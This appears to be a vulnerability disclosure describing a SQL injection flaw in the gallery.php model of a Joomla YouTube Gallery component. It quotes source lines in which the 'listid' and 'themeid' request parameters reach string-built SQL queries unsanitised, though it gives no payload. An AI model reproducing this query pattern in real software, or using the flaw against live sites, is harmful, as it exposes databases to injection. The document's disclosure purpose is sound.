Detail:

In line: 40, file: components\com_youtubegallery\models\gallery.php,

if parameter listid is int (or can cast to int), $listid and $themeid

will not santinized.

Source code:

40: if(JRequest::getInt('listid'))

41: {

42:        //Shadow Box

43:        $listid=JRequest::getVar('listid');

44:

45:

46:        //Get Theme

47:         $m_themeid=(int)JRequest::getVar('mobilethemeid');

48:         if($m_themeid!=0)

49:         {

50:              if(YouTubeGalleryMisc::check_user_agent('mobile'))

51:                    $themeid=$m_themeid;

52:              else

53:                    $themeid=JRequest::getVar('themeid');

54:              }

55:          else

56:               $themeid=JRequest::getVar('themeid');

57: }

After, $themeid and $listid are used in line 86, 92. Two method

getVideoListTableRow and getThemeTableRow concat string to construct

sql query. So it is vulnerable to SQL Injection.

Source code:

86: if(!$this->misc->getVideoListTableRow($listid))

87: {

88:         echo '<p>No video found</p>';

89:         return false;

90: }

91:

92: if(!$this->misc->getThemeTableRow($themeid))

93: {

94:          echo '<p>No video found</p>';

95:          return false;

96: }
